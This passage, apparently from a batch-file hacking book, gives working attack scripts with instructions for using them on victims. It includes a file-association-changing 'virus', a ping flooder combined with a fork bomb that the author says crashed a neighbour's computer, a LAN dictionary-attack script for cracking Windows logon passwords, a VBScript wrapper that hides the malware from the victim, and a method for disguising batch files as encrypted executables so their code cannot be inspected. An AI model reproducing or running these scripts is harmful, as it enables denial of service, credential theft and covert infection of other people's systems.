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00000000000000000200000030001e0000000000 exit If you want to create a new batch file for remapping other keys, you can download it from . 141 Ext. changer: This virus file replaces the actual file extensions with the given extensions @echo off assoc .txt=jpegfile assoc .exe=htmlfile assoc .jpeg=avifile assoc .png=mpegfile assoc .mpeg=txtfile extension with the appropriate file type, for example .txt extensions are supposed to be associated with textiles and so on. @echo off title Ext. changer color a Rem This Virus file replaces the actual file extensions with the given extensions @echo off assoc .txt=jpegfile assoc .exe=htmlfile assoc .jpeg=avifile assoc .png=mpegfile assoc .mpeg=txtfile assoc .sys=reqfile msg Your System got Infected..... exit Here we are associating the native file extensions with some other type of file, which makes the program unable to open or display the file in right format. 142 Packet flooder: Since we have already learned about the 'ping of death' and 'DoS attacks' in the earlier chapters, we are creating this program to slow down the remote computer connected in our network. This can be done by continuously pinging the remote host by setting the length of the packet to 65,500K. at the receiving end, the remote computer receives mushrooms of packets of larger size, and if it goes on for some time, the memory on the remote system automatically overloads and finally the remote system will crash. @echo off :flood ping -l 65500 -t 10.199.64.66 start flooder.bat goto flood I am going to save this file as flooder.bat, since I have used the fork bombing technique, it will open up lot of command windows on your screen too, there are chances for your computer to crash too. In the above program I have used my neighboring computer 10.199.64.66 as my victim, and I have tried for just 3 minutes running this program and I found the remote system restarting, until then I have turned off my monitor, because my screen too was flooded with command prompt windows. You may replace the IP address 10.199.64.66 with either your networked computer's hostname or IP address, if you want to check by yourself. 143 LAN Remote user - Dictionary Attack: Use this Batch file to launch a Dictionary attack and find the Windows logon Credentials in a LAN. You need a Dictionary text file to proceed further to launch this attack successfully. Just follow the steps below, 1. Open up a Notepad file. 2. Copy and paste the below code and save it as a Batch file with .bat extension, @echo off Title LAN Dictionary Attack Launcher Color 0a if "%1"==" " goto fin if "%2"==" " goto fin del logfile.txt FOR /F "tokens=1" %i in (passlist.txt) do ^ echo %i && ^ net use %1\ipc\$ %i /u:%1\%2 2>>logfile.txt && ^ echo %time% %date% >> outfile.txt && ^ echo %1\ipc\$ acct: %2 pass: %i >> output.txt && goto end .fin echo \*\*\*\*Done\*\*\*\* 144 3. Make sure that you have a Dictionary Password Text file in the same location where you are going to execute this program. (Name should be passlist.txt) 4. Now go to the command prompt and then execute this program from there, along with the Target computers IP address or Hostname and the Valid Username. The Syntax should be like this, ... C>>LANbrute.bat 192.169.21.02 Administrator Where, LANbrute.bat - This is the Name of the batch file that resides in the C Drive. 192.169.21.02 - IP Address of the Target Computer. Administrator - Victim Account that you want to crack. 5. This program will start launching Dictionary Attack against the administrator account on the Machine 192.168.21.02, by using the passwords from the file passlist.txt and will not stop until it finds a right match. 6. If the right password was found, then it will save it in a text file named 'output.txt' on the same directory. Credits to the Folks from Irongeek, because this is an idea by them, and after a little mess with it, I have included it in this book. 145 Stealthy Virus using Vbscript: As we have seen in the previous chapters, all those programs at their time of execution, it will open up a command window there by revealing that it was programmed using batch file programming, in order to hide the programs at the time of execution, we may use a VBScript to stealth our program, and it will be more useful while constructing and executing a virus on the victims computer, so that it remains un-notified. Set objShell = CreateObject("WScript.Shell") strCommand = "C:\yourfile.bat" objShell.Run strCommand, vbHide, TRUE copy the above coding into a notepad file, replace the 'C:\yourfile.bat' with the actual name of the batch file that you have created, along with the location and then save this file with a .vbs extension. Now you may execute this VBScript file to run the batch file too, so there is no need for you to execute the batch file separately. Now the batch was still running in the background and remains hidden. The only way to end the process is to open the task manager and kill the process that says WScript. 146 Converting Batch to Executables So far we have learnt how to create a batch file program with an .bat extension, but there is a way to convert all these batch files into executable files with an .exe extension, so that it will become hard for the people to find, what the program exactly does, else they may have a chance to have a look at your source code, even to copy your source code. You have to download the batch to exe convertor from the internet in order to convert the batch to executable; here I have enclosed the download link, where you can download this tool. Download Link : Tool Name Bat to Exe Converter V1.5 : Copy and paste the above link in the address bar of your web browser, or you can directly CTRL + Click on the link if your computer is hooked up to the internet, then download the file. 147 Here with I have enclosed the screenshot of the tool to show how it looks, This is a user friendly tool that allows you to browse for the source file, which is nothing but the batch file that you wish to convert into an executable. This tool comes with an encryption facility, allowing the user to encrypt the source code of their file which is then protected by a password, nothing but the private key. You may also specify the parameters if necessary. 148 Here I have chosen my batch 'Speaking batch.bat' from my desktop to compile into an executable. Under the 'versioninformations' tab, I have include the icon file for my executable then I have filled in the file version, product version, company, product name, description and the copyright, which really makes the executable a legal one. Finally, when I hit the 'Compile button', the batch was compiled into a entirely new executable file on my desktop, and here is the screenshot how it looks, 149 Therefore I have created a new executable that does the work similar to the batch that I have already created, along with a weeny icon that really attracts people to open up and see what it does. When you select the encryption option and set it up with a password, then it will prompt asking for password, whenever someone tries to execute it, and here it the way it prompts, I have created an executable, along with an encryption, so that I am quite sure my executable is secure, because whenever anyone try to execute the executable, it will prompt them asking for the password, and no one will be able to analyze and experiment with the source code by right clicking on it and selecting 'edit' as they do on a batch file, because it is an executable.



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